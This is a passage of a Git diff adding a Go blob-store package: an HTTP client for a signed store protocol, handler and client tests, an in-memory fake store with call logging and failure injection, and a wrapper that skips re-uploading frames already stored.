http.StatusInternalServerError + } + send(w, status, code, LimitOf(err)) + } +} + +// send answers with the code and, when the relay has a byte ceiling to name, the ceiling. +func send(w http.ResponseWriter, status int, code string, limit int64) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _, _ = w.Write(mustJSON(errBody{Err: code, LimitBytes: limit})) +} diff --git a/internal/blobstore/http.go b/internal/blobstore/http.go new file mode 100644 index 0000000000..a620fba863 --- /dev/null +++ b/internal/blobstore/http.go @@ -0,0 +1,195 @@ +package blobstore + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// HTTP is a Store that lives behind the store wire (contract §3). Every +// request is signed, so the far side knows whose namespace it is. +type HTTP struct { + base string + sign wireauth.Sign + hc *http.Client + + // deadline sizes each request's time limit from its body; a test swaps it + // to make a modest frame time out. + deadline func(bodyBytes int) time.Duration +} + +// NewHTTP returns a client for the store wire at base, which may carry a path prefix. +// A nil hc means http.DefaultClient. +func NewHTTP(base string, sign wireauth.Sign, hc *http.Client) *HTTP { + if hc == nil { + hc = http.DefaultClient + } + return &HTTP{base: base, sign: sign, hc: hc, deadline: Deadline} +} + +// PutFrame implements Store. +func (c *HTTP) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + var out putAnswer + if err := c.doJSON(ctx, http.MethodPost, pathFrames, frame, &out); err != nil { + return "", err + } + return out.Frame, nil +} + +// Get implements Store. The id is checked here as well as on the server, +// because it becomes part of a URL and a hostile one must not rewrite the path. +func (c *HTTP) Get(ctx context.Context, rid string) ([]byte, error) { + if err := checkGet(rid); err != nil { + return nil, err + } + return c.do(ctx, http.MethodGet, pathObjects+rid, nil) +} + +// GetMany implements Store: one request, answered by a frame holding a prefix of +// the objects asked for. The frame is decoded with the same checks as any +// other, and its objects must be that prefix, in order, or the answer is +// refused, so a relay cannot hand a taker objects it did not ask for. +func (c *HTTP) GetMany(ctx context.Context, rids []string) ([]Object, error) { + if len(rids) == 0 { + return nil, nil + } + if err := checkMany(rids); err != nil { + return nil, err + } + frame, err := c.do(ctx, http.MethodPost, pathMany, mustJSON(getManyRequest{Rids: rids})) + if err != nil { + return nil, err + } + _, objects, err := Decode(frame) + if err != nil || !isPrefix(objects, rids) { + return nil, fmt.Errorf("%w: the answer to a GetMany is not the objects asked for", ErrUnreachable) + } + return objects, nil +} + +// isPrefix says whether objects are exactly the first len(objects) of rids. +func isPrefix(objects []Object, rids []string) bool { + if len(objects) > len(rids) { + return false + } + for i, o := range objects { + if o.RID != rids[i] { + return false + } + } + return true +} + +// GetFrame implements Store. The id is checked here as well as on the server, +// because it becomes part of a URL and a hostile one must not rewrite the +// path. The answer is verified against the id — it is the hash of the bytes — +// so a wrong answer degrades like a missing one instead of failing a take at +// import. +func (c *HTTP) GetFrame(ctx context.Context, frame string) ([]byte, error) { + if err := checkGet(frame); err != nil { + return nil, err + } + b, err := c.do(ctx, http.MethodGet, pathFrames+"/"+frame, nil) + if err != nil { + return nil, err + } + if IDOf(b) != frame { + return nil, fmt.Errorf("%w: frame %s answered bytes that are not it", ErrDamaged, frame) + } + return b, nil +} + +// Locate implements Store: one request answering where each held rid lies. +func (c *HTTP) Locate(ctx context.Context, rids []string) (map[string]Location, error) { + if rids == nil { + rids = []string{} + } + var out locateAnswer + if err := c.doJSON(ctx, http.MethodPost, pathLocate, mustJSON(locateRequest{Rids: rids}), &out); err != nil { + return nil, err + } + return out.At, nil +} + +// Has implements Store. +func (c *HTTP) Has(ctx context.Context, rids []string) ([]bool, error) { + if rids == nil { + rids = []string{} + } + var out hasAnswer + if err := c.doJSON(ctx, http.MethodPost, pathHas, mustJSON(hasRequest{Rids: rids}), &out); err != nil { + return nil, err + } + return out.Have, nil +} + +// Stats asks the server for its own count of this identity's requests. +func (c *HTTP) Stats(ctx context.Context) (Counts, error) { + var out statsBody + err := c.doJSON(ctx, http.MethodGet, pathStats, nil, &out) + return Counts(out), err +} + +// Counts is the server's tally for one identity since it started. +type Counts struct { + Puts, Gets, Has, BytesIn, BytesOut int64 +} + +func (c *HTTP) doJSON(ctx context.Context, method, path string, body []byte, into any) error { + raw, err := c.do(ctx, method, path, body) + if err != nil { + return err + } + if err := json.Unmarshal(raw, into); err != nil { + return fmt.Errorf("%w: unreadable answer from %s", ErrUnreachable, path) + } + return nil +} + +// do sends one signed request and answers the body of a 200, or the error the +// answer names. It never retries: a skew refusal must reach the person once. +func (c *HTTP) do(ctx context.Context, method, path string, body []byte) ([]byte, error) { + ctx, limit := startBudget(ctx, c.deadline, len(body)) + defer limit.done() + req, err := http.NewRequestWithContext(ctx, method, wireauth.Endpoint(c.base, path), bytes.NewReader(body)) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + c.sign(req, body) + resp, err := c.hc.Do(req) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + defer resp.Body.Close() + limit.answering(resp.ContentLength) + answer, err := io.ReadAll(io.LimitReader(resp.Body, MaxFrame+1)) + if err != nil { + return nil, fmt.Errorf("%w: %v", ErrUnreachable, err) + } + if resp.StatusCode == http.StatusOK { + return answer, nil + } + return nil, answerError(resp.StatusCode, resp.Header, answer) +} + +// answerError turns a non-200 answer into an error: the code the server named, +// else a 5xx as "unreachable" (the server is not doing its job now, so +// callers degrade), else a plain error carrying the status. A refusal keeps the +// Retry-After the relay sent with it. +func answerError(status int, h http.Header, answer []byte) error { + var e errBody + _ = json.Unmarshal(answer, &e) + if named := errOf(e.Err); named != nil { + return Capped(wireauth.Wait(fmt.Errorf("%w (%d)", named, status), h), e.LimitBytes) + } + if status >= 500 { + return fmt.Errorf("%w: server answered %d", ErrUnreachable, status) + } + return fmt.Errorf("blobstore: server refused with %d %q", status, e.Err) +} diff --git a/internal/blobstore/http_test.go b/internal/blobstore/http_test.go new file mode 100644 index 0000000000..3824315f88 --- /dev/null +++ b/internal/blobstore/http_test.go @@ -0,0 +1,376 @@ +package blobstore_test + +import ( + "bytes" + "context" + "errors" + "fmt" + "io" + "net/http" + "net/http/httptest" + "strconv" + "strings" + "sync" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/blobstore/blobstoretest" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// The wire tests use the fake sign/authenticate pair of contract §16: the +// client writes who it is into a header and the server believes it. Real +// signing is reqsign's business and is bound only in the relay. +const identityHeader = "X-Test-Device" + +func fakeSign(identity string) wireauth.Sign { + return func(r *http.Request, _ []byte) { r.Header.Set(identityHeader, identity) } +} + +// fakeAuth refuses a request with no identity, and reports skew for the +// identity named "skewed" so a test can watch the client meet it. +func fakeAuth(r *http.Request, _ []byte) (string, string, error) { + switch id := r.Header.Get(identityHeader); id { + case "": + return "", "", wireauth.ErrUnauthorized + case "skewed": + return "", "", wireauth.ErrSkew + default: + return id, "dev_" + id, nil + } +} + +// rig is a store server over one Memory per identity. +type rig struct { + srv *httptest.Server + mu sync.Mutex + mem map[string]*blobstore.Memory +} + +func newRig(t *testing.T) *rig { + t.Helper() + g := &rig{mem: map[string]*blobstore.Memory{}} + g.srv = httptest.NewServer(blobstore.Handler(fakeAuth, func(id string) (blobstore.Store, error) { + return g.memory(id), nil + })) + t.Cleanup(g.srv.Close) + return g +} + +func (g *rig) memory(id string) *blobstore.Memory { + g.mu.Lock() + defer g.mu.Unlock() + if g.mem[id] == nil { + g.mem[id] = blobstore.NewMemory() + } + return g.mem[id] +} + +func (g *rig) client(id string) *blobstore.HTTP { + return blobstore.NewHTTP(g.srv.URL, fakeSign(id), g.srv.Client()) +} + +// failingHTTP lets the conformance suite make the server's store fail, as it +// does for the fake, by reaching through to the Memory behind the wire. +type failingHTTP struct { + *blobstore.HTTP + mem *blobstore.Memory +} + +func (f failingHTTP) FailAfter(n int, err error) { f.mem.FailAfter(n, err) } + +func TestHTTPConformance(t *testing.T) { + blobstoretest.Run(t, func(t *testing.T) blobstore.Store { + g := newRig(t) + return failingHTTP{g.client("alice"), g.memory("alice")} + }) +} + +func frame(t *testing.T, name string) (blobstore.Object, []byte) { + t.Helper() + body := append([]byte("AGEO\x01"), name...) + rid := strings.Repeat("0", 64-len(strconv.Itoa(len(name)))) + strconv.Itoa(len(name)) + o := blobstore.Object{RID: rid, Bytes: body} + f, err := blobstore.Encode(strings.Repeat("a", 32), []blobstore.Object{o}) + if err != nil { + t.Fatal(err) + } + return o, f +} + +func TestHandlerStats(t *testing.T) { + g := newRig(t) + c := g.client("alice") + ctx := context.Background() + o, f := frame(t, "one") + _, _ = c.PutFrame(ctx, f) + _, _ = c.PutFrame(ctx, f) + _, _ = c.Get(ctx, o.RID) + _, _ = c.Get(ctx, strings.Repeat("f", 64)) // a miss still counts as a request + _, _ = c.Has(ctx, []string{o.RID}) + + var want blobstore.Counts + for _, op := range g.memory("alice").Log() { + switch op.Kind { + case "put": + want.Puts++ + want.BytesIn += op.Bytes + case "get": + want.Gets++ + want.BytesOut += op.Bytes + case "has": + want.Has++ + } + } + got, err := c.Stats(ctx) + if err != nil || got != want { + t.Fatalf("stats = %+v, %v; the server's request log says %+v", got, err, want) + } + if other, _ := g.client("bob").Stats(ctx); other != (blobstore.Counts{}) { + t.Fatalf("another identity sees stats %+v, want zeros", other) + } +} + +// Identity X asking for identity Y's object gets 404, not 401: the answer is +// the same as for an object that never existed, so a caller cannot learn +// whether some other identity holds a given id. A 401 would confirm it does. +func TestHandlerNamespacesByIdentity(t *testing.T) { + g := newRig(t) + o, f := frame(t, "secret") + ctx := context.Background() + if _, err := g.client("alice").PutFrame(ctx, f); err != nil { + t.Fatal(err) + } + if got, err := g.client("alice").Get(ctx, o.RID); err != nil || !bytes.Equal(got, o.Bytes) { + t.Fatalf("owner Get = %q, %v", got, err) + } + if _, err := g.client("bob").Get(ctx, o.RID); !errors.Is(err, blobstore.ErrNotFound) { + t.Fatalf("other identity Get = %v, want ErrNotFound", err) + } + if have, _ := g.client("bob").Has(ctx, []string{o.RID}); len(have) != 1 || have[0] { + t.Fatalf("other identity Has = %v, want [false]", have) + } + if code := statusOf(t, g, "bob", http.MethodGet, "/v1/store/objects/"+o.RID, nil); code != http.StatusNotFound { + t.Fatalf("status = %d, want 404 (never 401)", code) + } +} + +// TestHandlerGetFrameRange: a frame fetch answers the whole frame at 200, +// its one range at 206 with a Content-Range, an open-ended and an over-long +// range clamped to the frame's end, and every other Range header — several +// ranges, a malformed one, a start past the end — with 416, the same answer +// the Worker gives (contract §22.3). +func TestHandlerGetFrameRange(t *testing.T) { + g := newRig(t) + c := g.client("alice") + _, f := frame(t, "onetwo") + id, err := c.PutFrame(context.Background(), f) + if err != nil { + t.Fatal(err) + } + fetch := func(rng string) (int, string, []byte) { + req, _ := http.NewRequest(http.MethodGet, g.srv.URL+"/v1/store/frames/"+id, nil) + if rng != "" { + req.Header.Set("Range", rng) + } + fakeSign("alice")(req, nil) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + b, _ := io.ReadAll(resp.Body) + return resp.StatusCode, resp.Header.Get("Content-Range"), b + } + code, _, got := fetch("") + if code != http.StatusOK || string(got) != string(f) { + t.Fatalf("plain GetFrame = %d, %d bytes; want 200, %d", code, len(got), len(f)) + } + code, cr, got := fetch("bytes=10-15") + if code != http.StatusPartialContent || string(got) != string(f[10:16]) || cr != fmt.Sprintf("bytes 10-15/%d", len(f)) { + t.Fatalf("ranged GetFrame = %d, %q, %d bytes; want 206, %q, 6", code, cr, len(got), fmt.Sprintf("bytes 10-15/%d", len(f))) + } + code, cr, got = fetch("bytes=10-") + if code != http.StatusPartialContent || string(got) != string(f[10:]) || cr != fmt.Sprintf("bytes 10-%d/%d", len(f)-1, len(f)) { + t.Fatalf("open-ended GetFrame = %d, %q, %d bytes; want 206 to the end", code, cr, len(got)) + } + code, cr, got = fetch(fmt.Sprintf("bytes=10-%d", len(f)+9)) + if code != http.StatusPartialContent || string(got) != string(f[10:]) || cr != fmt.Sprintf("bytes 10-%d/%d", len(f)-1, len(f)) { + t.Fatalf("over-long GetFrame = %d, %q, %d bytes; want 206 clamped to the end", code, cr, len(got)) + } + for _, rng := range []string{"bytes=0-5,10-15", "bytes=abc", "0-5", fmt.Sprintf("bytes=%d-", len(f))} { + if code, _, _ = fetch(rng); code != http.StatusRequestedRangeNotSatisfiable { + t.Errorf("Range %q answered %d, want 416", rng, code) + } + } +} + +func statusOf(t *testing.T, g *rig, id, method, path string, body []byte) int { + t.Helper() + req, _ := http.NewRequest(method, g.srv.URL+path, bytes.NewReader(body)) + fakeSign(id)(req, body) + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + defer resp.Body.Close() + return resp.StatusCode +} + +func TestHandlerFullIs507(t *testing.T) { + g := newRig(t) + _, f := frame(t, "x") + g.memory("alice").FailAfter(0, blobstore.ErrFull) + if code := statusOf(t, g, "alice", http.MethodPost, "/v1/store/frames", f); code != http.StatusInsufficientStorage { + t.Fatalf("status = %d, want 507", code) + } +} + +// countingBody yields n zero bytes and remembers how many were taken. +type countingBody struct{ left, taken int } + +func (b *countingBody) Read(p []byte) (int, error) { + if b.left == 0 { + return 0, io.EOF + } + n := min(len(p), b.left) + b.left -= n + b.taken += n + return n, nil +} + +// The cap must stop the read, not follow it: with a body twice the limit, the +// handler may take at most MaxFrame+1 bytes before it answers 413. +func TestHandlerBodyLimit(t *testing.T) { + h := blobstore.Handler(fakeAuth, func(string) (blobstore.Store, error) { return blobstore.NewMemory(), nil }) + body := &countingBody{left: 2 * blobstore.MaxFrame} + req := httptest.NewRequest(http.MethodPost, "/v1/store/frames", body) + fakeSign("alice")(req, nil) + rec := httptest.NewRecorder() + h.ServeHTTP(rec, req) + if rec.Code != http.StatusRequestEntityTooLarge { + t.Fatalf("status = %d, want 413", rec.Code) + } + if body.taken > blobstore.MaxFrame+1 { + t.Fatalf("handler read %d bytes before refusing, limit is %d", body.taken, blobstore.MaxFrame) + } +} + +func TestHandlerNowOnEveryAnswer(t *testing.T) { + g := newRig(t) + for _, id := range []string{"alice", "skewed", ""} { + req, _ := http.NewRequest(http.MethodGet, g.srv.URL+"/v1/store/stats", nil) + if id != "" { + fakeSign(id)(req, nil) + } + resp, err := g.srv.Client().Do(req) + if err != nil { + t.Fatal(err) + } + resp.Body.Close() + if _, err := strconv.ParseInt(resp.Header.Get("Codeaf-Now"), 10, 64); err != nil { + t.Errorf("identity %q: status %d without a numeric Codeaf-Now", id, resp.StatusCode) + } + } +} + +func TestHTTPUnreachable(t *testing.T) { + dead := httptest.NewServer(http.NotFoundHandler()) + c := blobstore.NewHTTP(dead.URL, fakeSign("alice"), dead.Client()) + dead.Close() + if _, err := c.Get(context.Background(), strings.Repeat("a", 64)); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("Get on a closed server = %v, want ErrUnreachable", err) + } + for _, status := range []int{500, 502, 503} { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { w.WriteHeader(status) })) + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + if _, err := c.Has(context.Background(), nil); !errors.Is(err, blobstore.ErrUnreachable) { + t.Errorf("status %d: Has = %v, want ErrUnreachable", status, err) + } + srv.Close() + } +} + +// Skew is surfaced, never retried: the person must be told once. +func TestHTTPClientSurfacesSkew(t *testing.T) { + var asked int + counting := func(r *http.Request, b []byte) (string, string, error) { + asked++ + return fakeAuth(r, b) + } + srv := httptest.NewServer(blobstore.Handler(counting, func(string) (blobstore.Store, error) { return blobstore.NewMemory(), nil })) + defer srv.Close() + + c := blobstore.NewHTTP(srv.URL, fakeSign("skewed"), srv.Client()) + if _, err := c.Has(context.Background(), nil); !errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("Has = %v, want wireauth.ErrSkew", err) + } + if asked != 1 { + t.Fatalf("the server was asked %d times, want 1 (no silent retry)", asked) + } + unsigned := blobstore.NewHTTP(srv.URL, func(*http.Request, []byte) {}, srv.Client()) + if _, err := unsigned.Has(context.Background(), nil); !errors.Is(err, wireauth.ErrUnauthorized) || errors.Is(err, wireauth.ErrSkew) { + t.Fatalf("unsigned Has = %v, want ErrUnauthorized and not skew", err) + } +} + +// Every §2.1 error the store can raise comes out of the client as itself. +func TestHTTPErrorsRoundTrip(t *testing.T) { + all := []error{ + blobstore.ErrNotFound, blobstore.ErrBadFrame, blobstore.ErrBadRID, blobstore.ErrConflict, + blobstore.ErrFull, blobstore.ErrUnreachable, blobstore.ErrTooMany, blobstore.ErrDamaged, + wireauth.ErrRateLimited, wireauth.ErrTooManyIdentities, + } + rid := strings.Repeat("a", 64) + for _, want := range all { + t.Run(want.Error(), func(t *testing.T) { + g := newRig(t) + g.memory("alice").FailAfter(0, want) + if _, err := g.client("alice").Get(context.Background(), rid); !errors.Is(err, want) { + t.Fatalf("Get = %v, want %v", err, want) + } + }) + } +} + +// A rate limit keeps the wait the relay named, so the client can honour it. +func TestHTTPRateLimitKeepsRetryAfter(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.Header().Set("Retry-After", "42") + w.WriteHeader(http.StatusTooManyRequests) + _, _ = w.Write([]byte(`{"err":"rate_limited"}`)) + })) + defer srv.Close() + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + _, err := c.Has(context.Background(), nil) + if !errors.Is(err, wireauth.ErrRateLimited) || wireauth.After(err) != 42*time.Second { + t.Fatalf("Has = %v (after %v), want ErrRateLimited after 42s", err, wireauth.After(err)) + } +} + +// The relay's 507 is the client's ErrFull, with no wait attached. +func TestHTTPFullIs507WithItsCeilingAndNoWait(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + w.WriteHeader(http.StatusInsufficientStorage) + _, _ = w.Write([]byte(`{"err":"full","limit_bytes":5368709120}`)) + })) + defer srv.Close() + c := blobstore.NewHTTP(srv.URL, fakeSign("alice"), srv.Client()) + _, err := c.Has(context.Background(), nil) + if !errors.Is(err, blobstore.ErrFull) || wireauth.After(err) != 0 || blobstore.LimitOf(err) != 5<<30 { + t.Fatalf("Has = %v (after %v, limit %d), want ErrFull, no wait and the 5 GiB ceiling", err, wireauth.After(err), blobstore.LimitOf(err)) + } +} + +// A handler whose store names a ceiling sends it in the 507 body, and one whose store does not sends no number. +func TestHandlerFullCarriesTheCeilingOnlyWhenTheStoreNamedOne(t *testing.T) { + for limit, want := range map[int64]int64{5 << 30: 5 << 30, 0: 0} { + g := newRig(t) + g.memory("alice").FailAfter(0, blobstore.Capped(blobstore.ErrFull, limit)) + _, err := g.client("alice").Get(context.Background(), strings.Repeat("a", 64)) + if !errors.Is(err, blobstore.ErrFull) || blobstore.LimitOf(err) != want { + t.Errorf("limit %d: Get = %v (limit %d), want ErrFull with ceiling %d", limit, err, blobstore.LimitOf(err), want) + } + } +} diff --git a/internal/blobstore/magic.go b/internal/blobstore/magic.go new file mode 100644 index 0000000000..e63ef24c72 --- /dev/null +++ b/internal/blobstore/magic.go @@ -0,0 +1,22 @@ +package blobstore + +import "bytes" + +// objectMagics are the only leading bytes a stored object may carry. A sealed +// object always starts with one of them, so a frame holding anything else, above +// all plaintext, is refused before it can reach a store (L6). AGEO is an +// engine object; AGEV is a vault object. +var objectMagics = [][]byte{ + []byte("AGEO\x01"), + []byte("AGEV\x01"), +} + +// hasObjectMagic reports whether b starts with an allowed object magic. +func hasObjectMagic(b []byte) bool { + for _, m := range objectMagics { + if bytes.HasPrefix(b, m) { + return true + } + } + return false +} diff --git a/internal/blobstore/memory.go b/internal/blobstore/memory.go new file mode 100644 index 0000000000..3afd60fcdb --- /dev/null +++ b/internal/blobstore/memory.go @@ -0,0 +1,233 @@ +package blobstore + +import ( + "bytes" + "context" + "sync" +) + +// Op is one call a Memory store received, in order, for tests that assert +// what a caller did (and did not) send. +type Op struct { + Kind string // "put" | "get" | "has" | "getframe" | "locate" + Frame FrameID + RIDs []string + Bytes int64 // frame length for put and getframe, object length for get, 0 for has and locate +} + +// Memory is the fake: a real store with the semantics of every other, kept in +// a map, that also remembers each call it answered. +type Memory struct { + mu sync.Mutex + objects map[string][]byte + frames map[string][]byte // whole frames, by id, for GetFrame + locs map[string]Location // where each object lies, learned at put time + log []Op + fail *failure // the next call to fail, if any +} + +// failure is a call that will fail on purpose: after skip more calls succeed. +type failure struct { + skip int + err error +} + +// NewMemory returns an empty store. +func NewMemory() *Memory { + return &Memory{ + objects: map[string][]byte{}, + frames: map[string][]byte{}, + locs: map[string]Location{}, + } +} + +// Log returns a copy of every call so far, oldest first. +func (m *Memory) Log() []Op { + m.mu.Lock() + defer m.mu.Unlock() + return append([]Op(nil), m.log...) +} + +// FailAfter makes the call after the next n successful ones return err, once, +// so a test can watch a caller meet ErrFull or ErrUnreachable and then carry on. +func (m *Memory) FailAfter(n int, err error) { + m.mu.Lock() + defer m.mu.Unlock() + m.fail = &failure{skip: n, err: err} +} + +// due reports the injected error when it is this call's turn, and spends it. +func (m *Memory) due() error { + f := m.fail + if f == nil { + return nil + } + if f.skip > 0 { + f.skip-- + return nil + } + m.fail = nil + return f.err +} + +// PutFrame implements Store. It checks every object before it stores any, so a +// conflicting frame leaves the store exactly as it was. +func (m *Memory) PutFrame(_ context.Context, frame []byte) (FrameID, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "put", Bytes: int64(len(frame))} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return "", err + } + h, objects, err := Decode(frame) + if err != nil { + return "", err + } + op.Frame = IDOf(frame) + op.RIDs = ridsOf(objects) + if err := m.conflict(objects); err != nil { + return "", err + } + for _, o := range objects { + m.objects[o.RID] = bytes.Clone(o.Bytes) + } + // The frame and its locations are learned here, where the frame is already + // decoded, so GetFrame and Locate read rather than decode. First location + // wins, as with every store: a repeated rid keeps the pointer it had. + m.frames[op.Frame] = bytes.Clone(frame) + start := payloadStart(frame, h) + for _, ref := range h.Objects { + if _, held := m.locs[ref.RID]; !held { + m.locs[ref.RID] = Location{Frame: op.Frame, Off: start + ref.Off, Len: ref.Len} + } + } + return op.Frame, nil +} + +// conflict reports ErrConflict when any object is already held with other bytes. +func (m *Memory) conflict(objects []Object) error { + for _, o := range objects { + if have, ok := m.objects[o.RID]; ok && !bytes.Equal(have, o.Bytes) { + return ErrConflict + } + } + return nil +} + +// Get implements Store. The answer is a copy, so a caller cannot change what is stored. +func (m *Memory) Get(_ context.Context, rid string) ([]byte, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "get", RIDs: []string{rid}} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkGet(rid); err != nil { + return nil, err + } + have, err := m.lookup(rid) + op.Bytes = int64(len(have)) + return have, err +} + +// GetMany implements Store. It is one call in the log, however many objects it +// answers, because it is one request on every wire. +func (m *Memory) GetMany(_ context.Context, rids []string) ([]Object, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "get"} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkMany(rids); err != nil { + return nil, err + } + got, err := gatherPrefix(rids, m.lookup) + op.RIDs, op.Bytes = ridsOf(got), sizeOf(got) + return got, err +} + +// lookup is a copy of the object held under rid; the caller holds the lock. +func (m *Memory) lookup(rid string) ([]byte, error) { + have, ok := m.objects[rid] + if !ok { + return nil, ErrNotFound + } + return bytes.Clone(have), nil +} + +// Has implements Store. +func (m *Memory) Has(_ context.Context, rids []string) ([]bool, error) { + m.mu.Lock() + defer m.mu.Unlock() + m.log = append(m.log, Op{Kind: "has", RIDs: append([]string(nil), rids...)}) + + if err := m.due(); err != nil { + return nil, err + } + if err := checkHas(rids); err != nil { + return nil, err + } + have := make([]bool, len(rids)) + for i, rid := range rids { + _, have[i] = m.objects[rid] + } + return have, nil +} + +// GetFrame implements Store: the frame it holds under id, as it was put. +func (m *Memory) GetFrame(_ context.Context, frame string) ([]byte, error) { + m.mu.Lock() + defer m.mu.Unlock() + op := Op{Kind: "getframe", Frame: frame} + defer func() { m.log = append(m.log, op) }() + + if err := m.due(); err != nil { + return nil, err + } + if err := checkGet(frame); err != nil { + return nil, err + } + have, ok := m.frames[frame] + if !ok { + return nil, ErrNotFound + } + op.Bytes = int64(len(have)) + return bytes.Clone(have), nil +} + +// Locate implements Store: where each held rid lies, read from the locations +// the puts learned. +func (m *Memory) Locate(_ context.Context, rids []string) (map[string]Location, error) { + m.mu.Lock() + defer m.mu.Unlock() + m.log = append(m.log, Op{Kind: "locate", RIDs: append([]string(nil), rids...)}) + + if err := m.due(); err != nil { + return nil, err + } + if err := checkHas(rids); err != nil { + return nil, err + } + at := make(map[string]Location, len(rids)) + for _, rid := range rids { + if loc, ok := m.locs[rid]; ok { + at[rid] = loc + } + } + return at, nil +} + +func ridsOf(objects []Object) []string { + rids := make([]string, len(objects)) + for i, o := range objects { + rids[i] = o.RID + } + return rids +} diff --git a/internal/blobstore/memory_test.go b/internal/blobstore/memory_test.go new file mode 100644 index 0000000000..887707c857 --- /dev/null +++ b/internal/blobstore/memory_test.go @@ -0,0 +1,77 @@ +package blobstore_test + +import ( + "context" + "errors" + "reflect" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" +) + +func TestMemoryLogRecordsEveryCallInOrder(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + a, b := obj("a", "one"), obj("b", "two") + frame, _ := blobstore.Encode(testKey, []blobstore.Object{a, b}) + + id, err := m.PutFrame(ctx, frame) + if err != nil { + t.Fatal(err) + } + if _, err := m.Get(ctx, a.RID); err != nil { + t.Fatal(err) + } + if _, err := m.Has(ctx, []string{b.RID, obj("c", "").RID}); err != nil { + t.Fatal(err) + } + + want := []blobstore.Op{ + {Kind: "put", Frame: id, RIDs: []string{a.RID, b.RID}, Bytes: int64(len(frame))}, + {Kind: "get", RIDs: []string{a.RID}, Bytes: int64(len(a.Bytes))}, + {Kind: "has", RIDs: []string{b.RID, obj("c", "").RID}}, + } + if got := m.Log(); !reflect.DeepEqual(got, want) { + t.Fatalf("Log() =\n%+v\nwant\n%+v", got, want) + } +} + +func TestMemoryLogIsACopy(t *testing.T) { + m := blobstore.NewMemory() + _, _ = m.Has(context.Background(), nil) + m.Log()[0].Kind = "changed" + if m.Log()[0].Kind != "has" { + t.Fatal("changing the returned log changed the store's log") + } +} + +func TestMemoryStoresACopyOfTheFrame(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + a := obj("a", "one") + frame, _ := blobstore.Encode(testKey, []blobstore.Object{a}) + if _, err := m.PutFrame(ctx, frame); err != nil { + t.Fatal(err) + } + for i := range frame { + frame[i] = 0 + } + if got, err := m.Get(ctx, a.RID); err != nil || string(got) != string(a.Bytes) { + t.Fatalf("Get after the caller reused its buffer = %q, %v", got, err) + } +} + +func TestMemoryFailAfterFailsOnceAtTheChosenCall(t *testing.T) { + ctx := context.Background() + m := blobstore.NewMemory() + m.FailAfter(1, blobstore.ErrUnreachable) + if _, err := m.Has(ctx, nil); err != nil { + t.Fatalf("first call = %v, want success", err) + } + if _, err := m.Has(ctx, nil); !errors.Is(err, blobstore.ErrUnreachable) { + t.Fatalf("second call = %v, want ErrUnreachable", err) + } + if _, err := m.Has(ctx, nil); err != nil { + t.Fatalf("third call = %v, want success", err) + } +} diff --git a/internal/blobstore/resume.go b/internal/blobstore/resume.go new file mode 100644 index 0000000000..850d9e426c --- /dev/null +++ b/internal/blobstore/resume.go @@ -0,0 +1,128 @@ +package blobstore + +import ( + "context" + "errors" + "sync" +) + +// Resuming wraps a Store so that a frame the far side already holds is never +// sent twice. Two things make a frame arrive more than once: a put that timed +// out after the relay had in fact stored it, and a flush that failed on a later +// frame and so starts over from the first. Puts are idempotent, so both are +// correct but cost every byte again, which on a large first publish is many +// times the folder. Resuming removes both: it remembers what it delivered, and +// after a transport failure it asks the store whether the frame landed anyway. +type Resuming struct { + Inner Store + + mu sync.Mutex + landed map[FrameID]bool +} + +var _ Store = (*Resuming)(nil) + +// NewResuming wraps inner. +func NewResuming(inner Store) *Resuming { + return &Resuming{Inner: inner, landed: map[FrameID]bool{}} +} + +// PutFrame sends frame unless this store has already taken it. +func (r *Resuming) PutFrame(ctx context.Context, frame []byte) (FrameID, error) { + id := IDOf(frame) + if r.isLanded(id) { + return id, nil + } + _, err := r.Inner.PutFrame(ctx, frame) + if errors.Is(err, ErrUnreachable) && r.holds(ctx, frame) { + err = nil + } + if err != nil { + return "", err + } + r.markLanded(id) + return id, nil +} + +// holds asks the store, in batches the wire allows, whether it has every object +// of frame. Any failure to find out answers false: the caller then reports the +// original error and the frame is sent again, which costs bytes but not safety. +func (r *Resuming) holds(ctx context.Context, frame []byte) bool { + h, _, err := Decode(frame) + if err != nil { + return false + } + rids := make([]string, len(h.Objects)) + for i, o := range h.Objects { + rids[i] = o.RID + } + for len(rids) > 0 { + n := min(MaxHas, len(rids)) + have, err := r.ask(ctx, rids[:n]) + if err != nil || !allTrue(have) { + return false + } + rids = rids[n:] + } + return true +} + +// confirmAttempts is how many times a question about a possibly landed frame +// is asked. A relay that is still writing the frame answers late, and a second +// ask is far cheaper than sending the frame again. +const confirmAttempts = 3 + +// ask is Has, asked again while the answer does not arrive. +func (r *Resuming) ask(ctx context.Context, rids []string) ([]bool, error) { + have, err := r.Inner.Has(ctx, rids) + for i := 1; i < confirmAttempts && errors.Is(err, ErrUnreachable); i++ { + have, err = r.Inner.Has(ctx, rids) + } + return have, err +} + +func allTrue(have []bool) bool { + for _, h := range have { + if !h { + return false + } + } + 